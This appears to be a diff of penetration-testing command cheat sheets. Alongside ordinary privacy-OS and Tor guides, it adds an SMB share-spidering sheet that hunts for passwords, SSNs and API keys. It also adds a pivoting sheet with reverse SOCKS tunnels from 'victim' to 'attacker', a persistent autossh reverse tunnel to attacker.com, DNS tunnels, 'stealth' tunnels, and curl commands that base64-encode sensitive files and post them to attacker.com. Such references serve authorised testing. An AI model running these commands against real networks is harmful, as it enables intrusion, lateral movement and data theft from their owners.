+# TAILS FEATURES
+# ============================================================================
+
+# Tor Browser (default browser)
+# All connections routed through Tor
+# Pre-configured for anonymity
+
+# Persistent storage (optional)
+# Applications → Tails → Configure persistent volume
+# Encrypt with strong passphrase (20+ characters)
+# Select what to persist: GnuPG, SSH, browser bookmarks, etc.
+
+# Encrypted persistent storage
+# Must be enabled each boot
+# Unlock with passphrase at welcome screen
+
+# Additional software (persist across reboots)
+# Applications → Tails → Additional Software
+# Add packages to install automatically on boot
+
+# MAC address spoofing
+# Enabled by default (randomizes MAC on each boot)
+# Prevents network tracking
+
+# Secure deletion
+# Files → Right-click → Wipe
+# Uses secure deletion (overwrites data)
+
+# ============================================================================
+# TAILS USE CASES
+# ============================================================================
+
+# Whistleblowing
+# Use Tails to access SecureDrop
+# No trace left on computer
+
+# Journalism
+# Protect sources
+# Secure communication
+# Anonymous research
+
+# Activism
+# Avoid surveillance
+# Communicate securely
+# Organize anonymously
+
+# High-risk browsing
+# Banking on public computer (not recommended, but safer)
+# Accessing sensitive information
+# Avoiding censorship
+
+# ============================================================================
+# TAILS BEST PRACTICES
+# ============================================================================
+
+# Never use Tails on home/work network if hiding from ISP
+# Use public WiFi (but not same location repeatedly)
+
+# Don't login to personal accounts
+# Breaks anonymity linkage
+
+# Don't use BitTorrent over Tor
+# Deanonymization risk
+
+# Verify Tails signature every download
+# Prevents compromised ISO
+
+# Use strong persistent storage passphrase
+# If captured, protects encrypted data
+
+# Physical security
+# Keep Tails USB physically secure
+# Hide or destroy if compromised
+
+# ============================================================================
+# WHONIX (TOR WORKSTATION)
+# ============================================================================
+
+# Whonix overview
+# Two VMs: Gateway (Tor) + Workstation
+# Workstation can't bypass Tor (network isolated)
+# Even if workstation compromised, anonymity preserved
+
+# Download Whonix
+# https://www.whonix.org/wiki/Download
+
+# Installation options
+# 1. VirtualBox (easiest)
+# 2. KVM
+# 3. Qubes-Whonix (integrated with Qubes OS)
+
+# Install Whonix VirtualBox
+# Download: Whonix-XFCE-*.ova
+# VirtualBox → File → Import Appliance → Select OVA
+
+# Verify Whonix signature
+gpg --import <whonix-signing-key>
+gpg --verify Whonix-*.ova.asc Whonix-*.ova
+
+# Start Whonix
+# 1. Start Whonix-Gateway VM first
+# 2. Wait for Tor connection
+# 3. Start Whonix-Workstation VM
+
+# ============================================================================
+# WHONIX CONFIGURATION
+# ============================================================================
+
+# Whonix-Gateway (Tor)
+# Tor routes all workstation traffic
+# Configure: Tor bridges, exit node selection
+
+# Whonix-Workstation (user environment)
+# Isolated from network (only through Gateway)
+# Install applications normally
+
+# Update Whonix
+# In Workstation:
+sudo apt update && sudo apt upgrade
+
+# Use bridges (if Tor blocked)
+# Gateway → Anon Connection Wizard → Use bridges
+
+# Stream isolation
+# Different apps use different Tor circuits
+# Pre-configured for: Browser, chat, Bitcoin
+
+# ============================================================================
+# WHONIX USE CASES
+# ============================================================================
+
+# Daily secure browsing
+# Research sensitive topics
+# Access .onion sites
+# Cryptocurrency transactions
+
+# Software development
+# Test applications with Tor
+# Pentesting with anonymity
+
+# Communication
+# Email, chat, forum posting
+# Anonymous publishing
+
+# ============================================================================
+# WHONIX BEST PRACTICES
+# ============================================================================
+
+# Keep both VMs updated
+# Gateway and Workstation need regular updates
+
+# Use snapshots
+# Before installing new software, take VM snapshot
+# Revert if issues
+
+# Multiple workstations
+# Different tasks = different workstations
+# Clone Workstation VM for isolation
+
+# Don't share files between host and Whonix
+# Reduces anonymity (metadata leaks)
+
+# Disable unnecessary services
+# Reduces attack surface
+
+# ============================================================================
+# QUBES OS (SECURITY BY COMPARTMENTALIZATION)
+# ============================================================================
+
+# Qubes overview
+# Security through isolation (VM-based)
+# Different VMs (qubes) for different tasks
+# Compromise of one qube doesn't affect others
+
+# Requirements
+# - 16GB+ RAM (32GB recommended)
+# - 64-bit CPU with VT-x/AMD-V
+# - 128GB+ disk space
+
+# Download Qubes OS
+# https://www.qubes-os.org/downloads/
+
+# Verify Qubes signature
+gpg --import <qubes-release-signing-key>
+gpg --verify Qubes-*.iso.asc Qubes-*.iso
+
+# Create installation media
+sudo dd if=Qubes-*.iso of=/dev/sdX bs=1M status=progress && sync
+
+# Install Qubes
+# Boot from USB → Follow installer
+# Enable disk encryption (LUKS)
+
+# ============================================================================
+# QUBES ARCHITECTURE
+# ============================================================================
+
+# Qube types
+# - AppVMs: Application virtual machines (work, personal, etc.)
+# - TemplateVMs: Base VMs for AppVMs (Fedora, Debian, Whonix)
+# - StandaloneVMs: Independent VMs (not based on template)
+# - DisposableVMs: Temporary VMs (deleted after use)
+# - sys-net: Network VM
+# - sys-firewall: Firewall VM
+# - sys-usb: USB VM
+
+# Color coding
+# Red: Untrusted (random downloads, suspicious links)
+# Orange: Work
+# Yellow: Personal
+# Green: Banking/financial
+# Blue: Sys VMs (network, firewall)
+
+# ============================================================================
+# USING QUBES OS
+# ============================================================================
+
+# Create new qube
+# Qubes Manager → Create New Qube
+# Select: template, networking, color
+
+# Start application in qube
+# Applications menu → qube name → app
+
+# File transfer between qubes
+# Right-click file → Send to another qube
+# (Prompts for confirmation - security feature)
+
+# Copy/paste between qubes
+# Disabled by default (security)
+# Enable: Qube Settings → Copy/paste
+
+# ============================================================================
+# QUBES USE CASES
+# ============================================================================
+
+# Separate work and personal
+# Work qube: company email, files
+# Personal qube: personal email, social media
+# Compromise of one doesn't affect other
+
+# Banking isolation
+# Dedicated banking qube (green)
+# No other activities
+# If compromised, personal/work unaffected
+
+# Untrusted files
+# DisposableVM for opening unknown files
+# PDF from unknown source? Open in disposable
+# Closed after viewing, any malware gone
+
+# Development
+# Dev qube for coding
+# Test qube for running untrusted code
+# Isolated from personal data
+
+# ============================================================================
+# QUBES WHONIX INTEGRATION
+# ============================================================================
+
+# Qubes-Whonix
+# Whonix Gateway + Workstation as Qubes VMs
+# Best of both: Qubes isolation + Whonix anonymity
+
+# Install Qubes-Whonix
+# Qubes → Tools → Qubes Update → Install Templates
+# Select: Whonix-Gateway, Whonix-Workstation
+
+# Create Whonix AppVM
+# Qubes Manager → Create New Qube
+# Template: whonix-workstation
+# Networking: sys-whonix
+
+# All traffic from AppVM routed through Tor
+
+# ============================================================================
+# QUBES BEST PRACTICES
+# ============================================================================
+
+# Template minimization
+# Keep templates minimal (only essential software)
+# Install apps in AppVMs when possible
+
+# Regular template updates
+# Templates need updates (AppVMs inherit)
+# Qubes → Qubes Update
+
+# Use DisposableVMs for untrusted content
+# Random downloads, suspicious emails
+# Automatic cleanup
+
+# Separate sensitive data
+# Banking, cryptocurrency, passwords
+# Dedicated isolated qube
+
+# Physical qubes
+# USB qube (sys-usb) isolates USB devices
+# Prevents USB attacks
+
+# ============================================================================
+# HARDENED LINUX DISTRIBUTIONS
+# ============================================================================
+
+# Hardened distros (non-Tails/Whonix/Qubes)
+# Parrot Security OS - Pentesting + privacy tools
+# BlackArch - Comprehensive pentesting distro
+# Kali Linux - Offensive security (less privacy-focused)
+# Alpine Linux - Minimal, security-focused
+# OpenBSD - Security by design (not Linux, but relevant)
+
+# Parrot Security
+# https://www.parrotsec.org/
+# Debian-based, privacy tools pre-installed
+# AnonSurf (Tor routing), encrypted home
+
+# BlackArch
+# https://blackarch.org/
+# Arch-based, 2500+ pentesting tools
+# Designed for security professionals
+
+# ============================================================================
+# DIY HARDENED LINUX (DEBIAN/UBUNTU)
+# ============================================================================
+
+# Harden existing Linux installation
+
+# Full disk encryption (during install)
+# Select "Use LVM with encryption"
+# Strong passphrase (20+ characters)
+
+# Automatic updates
+sudo apt install unattended-upgrades
+sudo dpkg-reconfigure -plow unattended-upgrades
+
+# Firewall (UFW)
+sudo ufw enable
+sudo ufw default deny incoming
+sudo ufw default allow outgoing
+
+# Disable unnecessary services
+systemctl list-units --type=service --state=running
+sudo systemctl disable <service>
+
+# Kernel hardening (sysctl)
+sudo nano /etc/sysctl.conf
+# Add:
+# kernel.dmesg_restrict = 1
+# kernel.kptr_restrict = 2
+# net.ipv4.conf.all.log_martians = 1
+# net.ipv4.conf.default.rp_filter = 1
+
+sudo sysctl -p
+
+# AppArmor (mandatory access control)
+sudo apt install apparmor apparmor-utils
+sudo systemctl enable apparmor
+
+# Firejail (sandbox applications)
+sudo apt install firejail
+firejail firefox
+
+# ============================================================================
+# SECURE BOOT & UEFI
+# ============================================================================
+
+# Enable Secure Boot
+# BIOS/UEFI → Secure Boot → Enabled
+
+# Enroll MOK (for custom kernels)
+sudo mokutil --import /path/to/key.der
+
+# UEFI password
+# BIOS/UEFI → Set Supervisor Password
+# Prevents unauthorized boot changes
+
+# ============================================================================
+# PRIVACY-FOCUSED MOBILE OS
+# ============================================================================
+
+# GrapheneOS (Android, Pixel devices)
+# https://grapheneos.org/
+# Hardened Android, privacy-first
+# Sandboxed Google Play (optional)
+
+# CalyxOS (Android, multiple devices)
+# https://calyxos.org/
+# Privacy + usability balance
+# microG (open source Google Services alternative)
+
+# LineageOS (Android, many devices)
+# https://lineageos.org/
+# De-Googled Android
+# Community-driven
+
+# Ubuntu Touch (mobile Linux)
+# https://ubuntu-touch.io/
+# True Linux phone OS
+# Open source
+
+# postmarketOS (Alpine Linux for phones)
+# https://postmarketos.org/
+# Linux distro for smartphones
+# Privacy-focused
+
+# ============================================================================
+# LIVE LINUX DISTROS (BESIDES TAILS)
+# ============================================================================
+
+# Persistent live USB (Ubuntu-based)
+# Create with persistence partition
+# Encrypted persistence
+
+# Create persistent Ubuntu USB (Linux)
+sudo apt install usb-creator-gtk
+usb-creator-gtk
+
+# Kali Live with persistence
+# https://www.kali.org/docs/usb/usb-persistence/
+
+# Porteus (fast live system)
+# https://porteus.org/
+# Modular, runs entirely in RAM
+
+# ============================================================================
+# COMPARISON: TAILS vs WHONIX vs QUBES
+# ============================================================================
+
+# Tails
+# Pros: True amnesia, no trace, simple
+# Cons: Not persistent (by design), Tor-only
+# Use: Journalism, whistleblowing, high-risk anonymity
+
+# Whonix
+# Pros: Tor isolation, VM-based, daily use friendly
+# Cons: Requires host OS, VM overhead
+# Use: Daily secure browsing, research, cryptocurrency
+
+# Qubes
+# Pros: Best compartmentalization, multiple security levels
+# Cons: Steep learning curve, high RAM requirements
+# Use: Multi-level security needs, handling untrusted files
+
+# ============================================================================
+# SECURE OS DECISION TREE
+# ============================================================================
+
+# Need amnesia (no trace)?
+# → Tails
+
+# Need Tor anonymity for daily use?
+# → Whonix
+
+# Need strong compartmentalization?
+# → Qubes (with Qubes-Whonix for Tor)
+
+# Need pentesting tools + privacy?
+# → Parrot Security OS
+
+# Need mobile privacy?
+# → GrapheneOS (Pixel) or CalyxOS
+
+# Want to harden existing system?
+# → Hardened Debian/Ubuntu
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# Tails documentation
+# https://tails.boum.org/doc/
+
+# Whonix documentation
+# https://www.whonix.org/wiki/Documentation
+
+# Qubes documentation
+# https://www.qubes-os.org/doc/
+
+# Hardening guides
+# CIS Benchmarks: https://www.cisecurity.org/cis-benchmarks/
+# DISA STIGs: https://public.cyber.mil/stigs/
+
+# Communities
+# r/tails (Reddit)
+# r/Whonix (Reddit)
+# r/Qubes (Reddit)
+# Qubes forum: https://forum.qubes-os.org/
+

smb-shares.cheat

@@ -0,0 +1,72 @@
+% smb, file-shares, lateral-movement
+
+# Snaffler - search SMB shares for sensitive data
+Snaffler.exe -s -o <output_file>
+$ output_file: echo "snaffler_results.txt"
+
+# Snaffler with specific share
+Snaffler.exe -s -d <domain> -u <username> -p <password> -c <computer>
+$ domain: echo -e "CORP\nDOMAIN"
+$ username: echo "user"
+$ password: echo "password"
+$ computer: echo -e "DC01\nFS01\nSRV01"
+
+# Manspider - spider SMB shares
+manspider <target_file> -d <domain> -u <username> -p <password> -e <extensions>
+$ target_file: echo -e "targets.txt\nhosts.txt"
+$ domain: echo -e "CORP\nDOMAIN"
+$ username: echo "user"
+$ password: echo "password"
+$ extensions: echo -e "xlsx,docx,pdf\ntxt,config,ps1"
+
+# Manspider search for keywords
+manspider <target_file> -d <domain> -u <username> -p <password> -c <keyword>
+$ target_file: echo "targets.txt"
+$ domain: echo "CORP"
+$ username: echo "user"
+$ password: echo "password"
+$ keyword: echo -e "password\nssn\ncreditcard\napi_key"
+
+# PySnaffler - Python version of Snaffler
+pysnaffler.py -t <target> -u <username> -p <password>
+$ target: echo -e "192.168.1.10\nFS01.corp.local"
+$ username: echo "user"
+$ password: echo "password"
+
+# SnafflePy - search SMB shares
+snafflepy.py -d <domain> -u <username> -p <password> -t <target>
+$ domain: echo -e "CORP\nDOMAIN"
+$ username: echo "user"
+$ password: echo "password"
+$ target: echo -e "192.168.1.10\nFS01"
+
+# FSRM (File Server Resource Manager) - Windows built-in
+# Check FSRM quota
+fsutil quota query <drive>
+$ drive: echo -e "C:\nD:\nE:"
+
+# List SMB shares with smbclient
+smbclient -L //<target> -U <username>%<password>
+$ target: echo -e "192.168.1.10\nFS01.corp.local"
+$ username: echo "user"
+$ password: echo "password"
+
+# Mount SMB share
+mount -t cifs //<target>/<share> <mount_point> -o username=<username>,password=<password>
+$ target: echo -e "192.168.1.10\nFS01"
+$ share: echo -e "Share\nData\nBackup"
+$ mount_point: echo -e "/mnt/share\n/tmp/mount"
+$ username: echo "user"
+$ password: echo "password"
+
+# Enumerate shares with NetExec
+nxc smb <target> -u <username> -p <password> --shares
+$ target: echo -e "192.168.1.0/24\n10.0.0.1"
+$ username: echo "user"
+$ password: echo "password"
+
+# Spider shares with NetExec
+nxc smb <target> -u <username> -p <password> -M spider_plus
+$ target: echo -e "192.168.1.10\nFS01"
+$ username: echo "user"
+$ password: echo "password"

tor.cheat

@@ -0,0 +1,289 @@
+% tor, anonymity, onion, darknet
+
+# ============================================================================
+# TOR BROWSER & USAGE
+# ============================================================================
+
+# Launch Tor Browser
+./start-tor-browser.desktop
+
+# Tor Browser security level
+# Settings → Privacy & Security → Security Level
+# Standard (default), Safer (disables some JS), Safest (disables all JS/media)
+
+# Check Tor circuit
+# Click onion icon in URL bar → View circuit
+
+# Request new Tor circuit for site
+# Click onion icon → New Circuit for this Site
+
+# Request completely new identity (clears cookies, changes circuit)
+# Hamburger menu → New Identity
+
+# Check if using Tor
+# Visit: https://check.torproject.org
+
+# ============================================================================
+# TOR DAEMON (CLI)
+# ============================================================================
+
+# Install Tor daemon
+sudo apt install tor
+
+# Start Tor service
+sudo systemctl start tor
+
+# Enable Tor on boot
+sudo systemctl enable tor
+
+# Check Tor status
+sudo systemctl status tor
+
+# Tor daemon default SOCKS proxy
+# localhost:9050
+
+# Test Tor connection
+curl --socks5 localhost:9050 https://check.torproject.org
+
+# Torify any command (route through Tor)
+torify <command>
+$ command: echo -e "curl https://ifconfig.me\nwget https://example.com"
+
+# Alternative: torsocks
+torsocks <command>
+$ command: echo -e "ssh user@host\ncurl https://api.ipify.org"
+
+# Check current Tor IP
+curl --socks5 localhost:9050 https://api.ipify.org
+
+# ============================================================================
+# TOR CONFIGURATION
+# ============================================================================
+
+# Tor config file
+# /etc/tor/torrc
+
+# Configure Tor SOCKS port
+# In /etc/tor/torrc:
+# SocksPort 9050
+
+# Configure Tor control port
+# ControlPort 9051
+# HashedControlPassword <hashed_password>
+
+# Generate Tor control password hash
+tor --hash-password <your_password>
+$ your_password: echo "MySecretPassword"
+
+# Allow Tor connections from LAN (caution!)
+# SocksPort 0.0.0.0:9050
+
+# Exit node selection by country
+# ExitNodes {us},{ca},{gb}
+# StrictNodes 1
+
+# Exclude specific exit nodes
+# ExcludeExitNodes {ru},{cn},{kp}
+
+# Entry node selection (entry guards)
+# EntryNodes {us},{ca},{gb}
+
+# Use bridges (if Tor is blocked)
+# UseBridges 1
+# Bridge <bridge_address>
+
+# ============================================================================
+# TOR BRIDGES (Circumvent Censorship)
+# ============================================================================
+
+# Get bridges from Tor Project
+# Visit: https://bridges.torproject.org/
+
+# Configure obfs4 bridges in torrc
+UseBridges 1
+ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
+Bridge obfs4 <IP>:<PORT> <FINGERPRINT> cert=<CERT> iat-mode=0
+
+# Example bridge line
+# Bridge obfs4 192.0.2.1:1234 ABCDEF1234567890 cert=abcdef iat-mode=0
+
+# Get bridges via email
+# Email bridges@torproject.org with "get transport obfs4" in body
+
+# Meek bridges (CDN-based, harder to block)
+ClientTransportPlugin meek_lite exec /usr/bin/obfs4proxy
+Bridge meek_lite 0.0.2.0:2 url=https://meek.azureedge.net/
+
+# Snowflake bridges (WebRTC-based)
+ClientTransportPlugin snowflake exec /usr/bin/snowflake-client
+Bridge snowflake 192.0.2.3:1 fingerprint=2B280B23E1107BB62ABFC40DDCC8824814F80A72
+
+# ============================================================================
+# TOR HIDDEN SERVICES (ONION SERVICES)
+# ============================================================================
+
+# Create hidden service (serve local web server)
+# In /etc/tor/torrc:
+HiddenServiceDir /var/lib/tor/hidden_service/
+HiddenServicePort 80 127.0.0.1:8080
+
+# Restart Tor to generate onion address
+sudo systemctl restart tor
+
+# Get your onion address
+sudo cat /var/lib/tor/hidden_service/hostname
+# Example output: abc123def456ghi789.onion
+
+# Hidden service with multiple ports
+HiddenServiceDir /var/lib/tor/my_service/
+HiddenServicePort 80 127.0.0.1:8080
+HiddenServicePort 22 127.0.0.1:22
+
+# V3 onion addresses (longer, more secure)
+# Default in Tor 0.3.5+
+# Format: 56-character.onion
+
+# ============================================================================
+# ONIONSHARE - Easy Hidden Service File Sharing
+# ============================================================================
+
+# Install OnionShare
+sudo apt install onionshare
+
+# Share files anonymously
+onionshare <file_or_folder>
+$ file_or_folder: echo -e "/tmp/secret.pdf\n~/Documents/sensitive/"
+
+# Receive files anonymously
+onionshare --receive
+
+# Host website as onion service
+onionshare --website <website_folder>
+$ website_folder: echo "~/my_site/"
+
+# OnionShare with custom settings
+onionshare --persistent --public <file>
+
+# ============================================================================
+# TOR WITH PROXYCHAINS
+# ============================================================================
+
+# Configure proxychains for Tor
+# Edit /etc/proxychains4.conf:
+# socks5 127.0.0.1 9050
+
+# Use Tor with any application
+proxychains <application>
+$ application: echo -e "firefox\nnmap -sT target.com\nssh user@host"
+
+# Proxychains with Tor example
+proxychains curl https://check.torproject.org/api/ip
+
+# ============================================================================
+# TOR BROWSER HARDENING
+# ============================================================================
+
+# Disable WebRTC (IP leak risk)
+# about:config → media.peerconnection.enabled → false
+
+# Disable JavaScript (max security)
+# NoScript extension → Disable globally
+
+# Always use HTTPS
+# HTTPS Everywhere extension (built-in)
+
+# Resist fingerprinting
+# about:config → privacy.resistFingerprinting → true
+
+# Disable geolocation
+# about:config → geo.enabled → false
+
+# Clear cookies on exit
+# Settings → Privacy & Security → Cookies and Site Data → Delete on close
+
+# ============================================================================
+# ONION SITE DIRECTORIES
+# ============================================================================
+
+# The Hidden Wiki (directory of onion sites)
+# http://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/
+
+# DuckDuckGo Onion
+# https://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion/
+
+# ProtonMail Onion
+# https://protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/
+
+# Tor Project Onion
+# http://2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/
+
+# ============================================================================
+# TOR RELAY SETUP (Contribute to Network)
+# ============================================================================
+
+# Run middle relay (safer than exit)
+# In /etc/tor/torrc:
+Nickname MyTorRelay
+ORPort 9001
+DirPort 9030
+ExitPolicy reject *:*
+ContactInfo your@email.com
+
+# Set bandwidth limits
+RelayBandwidthRate 100 KBytes
+RelayBandwidthBurst 200 KBytes
+
+# Restart Tor
+sudo systemctl restart tor
+
+# Monitor relay stats
+# Visit: https://metrics.torproject.org/rs.html
+
+# ============================================================================
+# TOR SAFETY & OPSEC
+# ============================================================================
+
+# NEVER log into personal accounts over Tor (deanonymization risk)
+# NEVER download/open files directly from Tor (use Tails or Whonix)
+# NEVER maximize Tor Browser window (fingerprinting)
+# NEVER install browser extensions (fingerprinting)
+# ALWAYS verify .onion addresses (typosquatting)
+# ALWAYS use HTTPS onion sites when available
+# CONSIDER using Tor over VPN (or VPN over Tor)
+# CONSIDER using Tails OS for maximum anonymity
+
+# ============================================================================
+# TOR + VPN LAYERING
+# ============================================================================
+
+# Option 1: VPN → Tor (VPN sees you, Tor doesn't)
+# 1. Connect to VPN
+# 2. Launch Tor Browser
+
+# Option 2: Tor → VPN (Tor sees you, VPN doesn't)
+# 1. Configure torrc to use VPN as exit
+# 2. More complex, less common
+
+# Recommended: VPN → Tor for most threat models
+
+# ============================================================================
+# TROUBLESHOOTING
+# ============================================================================
+
+# Tor not connecting
+# Check logs: journalctl -u tor -f
+# Try bridges if blocked
+# Check firewall: sudo ufw allow 9050/tcp
+
+# Slow Tor speeds
+# Normal - Tor trades speed for anonymity
+# Try new circuit
+# Avoid .onion sites with heavy media
+
+# Check Tor circuit path
+# Tor Browser: Click onion icon
+# CLI: Use arm (relay monitor)
+
+# Reset Tor identity
+# Delete: ~/.local/share/torbrowser/
+# Reinstall Tor Browser

tunnels.cheat

@@ -1,40 +1,132 @@
-% tunnels, ssh, pivoting, portforward, proxy
+% tunnels, ssh, pivoting, portforward, proxy, lateral-movement
 
-# SSH local port forward
+# ============================================================================
+# SSH TUNNELING & PORT FORWARDING
+# ============================================================================
+
+# SSH local port forward (access internal service through jump host)
 ssh -L <local_port>:<target_host>:<target_port> <user>@<jump_host>
 
-# SSH remote port forward
+# SSH local port forward example: Access internal web server
+ssh -L 8080:internal-web.corp.local:80 user@jump.example.com
+# Then browse to: http://localhost:8080
+
+# SSH remote port forward (expose local service to remote)
 ssh -R <remote_port>:<local_host>:<local_port> <user>@<remote_host>
 
-# SSH dynamic SOCKS proxy
+# SSH remote port forward example: Expose local web server remotely
+ssh -R 9090:localhost:80 user@attacker.com
+# Remote users can now access: http://attacker.com:9090
+
+# SSH dynamic SOCKS proxy (route all traffic through jump host)
 ssh -D <socks_port> <user>@<host>
 
-# SSH with ProxyJump (bastion)
+# SSH dynamic SOCKS example
+ssh -D 1080 user@jump.example.com
+# Configure browser/apps to use SOCKS5 proxy: localhost:1080
+
+# SSH with ProxyJump (bastion/jump host)
 ssh -J <user>@<jump_host> <user>@<target_host>
 
-# SSH tunnel background
+# SSH multiple ProxyJumps (chain through multiple hosts)
+ssh -J <user>@<jump1>,<user>@<jump2> <user>@<target>
+
+# SSH tunnel background (-f = fork, -N = no command)
 ssh -fN -L <local_port>:<target_host>:<target_port> <user>@<jump_host>
 
-# SSH reverse tunnel (callback)
+# SSH reverse tunnel (callback from compromised host)
 ssh -fN -R <remote_port>:localhost:22 <user>@<attacker_host>
 
-# Chisel server (on attacker)
+# SSH with keep-alive (prevent timeout)
+ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 <user>@<host>
+
+# SSH tunnel with specific identity file
+ssh -i <private_key> -L <local_port>:<target>:<target_port> <user>@<jump>
+
+# SSH tunnel through multiple hops
+ssh -L 8080:final-target:80 -J jump1,jump2 user@jump3
+
+# ============================================================================
+# CHISEL - Fast TCP/UDP Tunnel Over HTTP
+# ============================================================================
+
+# Chisel server (on attacker machine)
 chisel server -p <port> --reverse
 
-# Chisel client reverse SOCKS
+# Chisel server with authentication
+chisel server -p <port> --reverse --auth <username>:<password>
+
+# Chisel server example (listen on 8080)
+chisel server -p 8080 --reverse
+
+# Chisel client reverse SOCKS (victim → attacker)
 chisel client <attacker_ip>:<port> R:socks
 
-# Chisel client port forward
+# Chisel client reverse SOCKS on custom port
+chisel client <attacker_ip>:<port> R:1080:socks
+
+# Chisel client reverse SOCKS example
+chisel client 192.168.1.50:8080 R:socks
+# Attacker can now use SOCKS5 proxy on localhost:1080
+
+# Chisel client reverse port forward
 chisel client <attacker_ip>:<port> R:<remote_port>:<target_host>:<target_port>
 
-# Chisel client local forward
+# Chisel reverse port forward example (expose internal RDP)
+chisel client 192.168.1.50:8080 R:3389:10.0.0.10:3389
+# Attacker can now: rdesktop localhost:3389
+
+# Chisel client local forward (attacker → victim)
 chisel client <server_ip>:<port> <local_port>:<target_host>:<target_port>
 
-# Ligolo-ng proxy (attacker)
-./proxy -selfcert
+# Chisel with authentication
+chisel client --auth <username>:<password> <server_ip>:<port> R:socks
 
-# Ligolo-ng agent (victim)
-./agent -connect <attacker_ip>:11601 -ignore-cert
+# Chisel multiple tunnels
+chisel client <attacker_ip>:<port> R:1080:socks R:3389:10.0.0.10:3389
+
+# Chisel over HTTPS (encrypted)
+chisel server -p 443 --reverse --tls-key server.key --tls-cert server.crt
+chisel client https://<attacker_ip>:443 R:socks
+
+# Chisel with keep-alive
+chisel client --keepalive 25s <attacker_ip>:<port> R:socks
+
+# ============================================================================
+# LIGOLO-NG - Advanced Tunneling Tool
+# ============================================================================
+
+# Ligolo-ng proxy (on attacker machine)
+./ligolo-proxy -selfcert
+
+# Ligolo-ng proxy with specific interface
+./ligolo-proxy -selfcert -laddr 0.0.0.0:11601
+
+# Ligolo-ng agent (on victim/compromised machine)
+./ligolo-agent -connect <attacker_ip>:11601 -ignore-cert
+
+# Ligolo-ng agent with retry
+./ligolo-agent -connect <attacker_ip>:11601 -ignore-cert -retry
+
+# Ligolo-ng agent example
+./ligolo-agent -connect 192.168.1.50:11601 -ignore-cert
+
+# After agent connects, in ligolo-proxy console:
+# 1. Select session: session
+# 2. Add route: route_add --name <route_name> --route <subnet>
+# 3. Start tunnel: start
+
+# Example ligolo-proxy commands:
+# List sessions: session
+# Select session 1: session 1
+# Add route: route_add --name internal --route 10.0.0.0/24
+# Start tunnel: start
+# Stop tunnel: stop
+
+# Ligolo-ng with TUN interface (better routing)
+# On attacker (requires TUN): sudo ip tuntap add user <username> mode tun ligolo
+# Then: sudo ip link set ligolo up
+# In proxy: start --tun ligolo
 
 # Socat port forward
 socat TCP-LISTEN:<local_port>,fork TCP:<target_host>:<target_port>
@@ -112,3 +204,111 @@ $ network_cidr: echo "10.0.0.0/24"
 $ interface: echo "wg0"
 $ output_file: echo "received_file"
 $ input_file: find . -type f 2>/dev/null | head -5
+
+# ============================================================================
+# ADVANCED PIVOTING TECHNIQUES
+# ============================================================================
+
+# Double pivot (compromised host → internal network → deeper internal network)
+# On compromised host 1: ssh -D 1080 user@internal-host
+# On attacker: proxychains ssh -D 9050 user@compromised-host-1
+# Chain: Attacker → 1080 (comp1) → 9050 (internal) → deep internal
+
+# SSH tunneling with ProxyCommand
+# ~/.ssh/config:
+# Host internal-server
+#   ProxyCommand ssh jump-host -W %h:%p
+#   User admin
+
+# Dynamic port forwarding with netsh (Windows)
+netsh interface portproxy add v4tov4 listenport=<listen_port> connectaddress=<target> connectport=<target_port>
+
+# HTTP tunneling with reGeorg
+python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.aspx
+
+# DNS tunneling with iodine
+# Server: iodined -f -c -P <password> 10.0.0.1 tunnel.example.com
+# Client: iodine -f -P <password> tunnel.example.com
+
+# ICMP tunneling with ptunnel
+# Server: ptunnel
+# Client: ptunnel -p <server_ip> -lp <local_port> -da <dest_ip> -dp <dest_port>
+
+# Metasploit autoroute for pivoting
+# In meterpreter:
+# run autoroute -s 10.0.0.0/24
+# background
+# use auxiliary/server/socks_proxy
+# set SRVPORT 1080
+# run -j
+
+# Metasploit port forwarding
+# In meterpreter:
+# portfwd add -l 3389 -p 3389 -r 10.0.0.10
+# Now RDP to localhost:3389
+
+# ============================================================================
+# EXFILTRATION OVER TUNNELS
+# ============================================================================
+
+# Exfil over DNS (dnscat2)
+# Server: dnscat2-server tunnel.example.com
+# Client: dnscat2 tunnel.example.com
+
+# Exfil over HTTPS with curl
+curl -X POST -H "Content-Type: application/octet-stream" --data-binary @<file> https://attacker.com/upload
+
+# Exfil with base64 encoding over HTTP
+cat <sensitive_file> | base64 | curl -X POST -d @- https://attacker.com/data
+
+# ============================================================================
+# REVERSE TUNNELING SCENARIOS
+# ============================================================================
+
+# Scenario: Victim behind NAT, attacker has public IP
+# Attacker runs: ssh -R 9999:localhost:22 user@victim-accessible-host
+# Victim connects back, opening tunnel for attacker to SSH in
+
+# Reverse SSH tunnel for web server
+# Victim: ssh -R 8080:localhost:80 user@attacker.com
+# Attacker accesses: http://localhost:8080
+
+# Persistent reverse tunnel with autossh
+autossh -M 0 -f -N -R 9999:localhost:22 user@attacker.com
+
+# ============================================================================
+# OBFUSCATION & STEALTH
+# ============================================================================
+
+# SSH over HTTP (using corkscrew through HTTP proxy)
+ssh -o "ProxyCommand corkscrew <proxy> <proxy_port> %h %p" user@target
+
+# Encrypted DNS tunnel (DNS-over-HTTPS)
+# Use DoH to tunnel C2 traffic
+
+# WebSocket tunneling (wstunnel)
+# Server: wstunnel -s 0.0.0.0:8080
+# Client: wstunnel -t 127.0.0.1:1080 ws://<server>:8080
+
+# TLS/SSL tunneling with stunnel
+# stunnel.conf:
+# [https]
+# client = yes
+# accept = 127.0.0.1:8080
+# connect = target.com:443
+
+# ============================================================================
+# KILL TUNNELS / CLEANUP
+# ============================================================================
+
+# Kill all SSH tunnels
+ps aux | grep 'ssh -' | grep -v grep | awk '{print $2}' | xargs kill
+
+# Kill specific port forward
+lsof -ti:8080 | xargs kill -9
+
+# Remove netsh portproxy (Windows)
+netsh interface portproxy reset
+
+# Check active SSH tunnels
+ps aux | grep ssh | grep -E '(-L|-R|-D)'

veracrypt.cheat

@@ -0,0 +1,539 @@
+% veracrypt, truecrypt, encryption, full-disk-encryption, hidden-volumes
+
+# ============================================================================
+# VERACRYPT OVERVIEW
+# ============================================================================
+
+# VeraCrypt
+# - Open source disk encryption (successor to TrueCrypt)
+# - Cross-platform (Windows, macOS, Linux)
+# - Supports: Full disk encryption, containers, hidden volumes
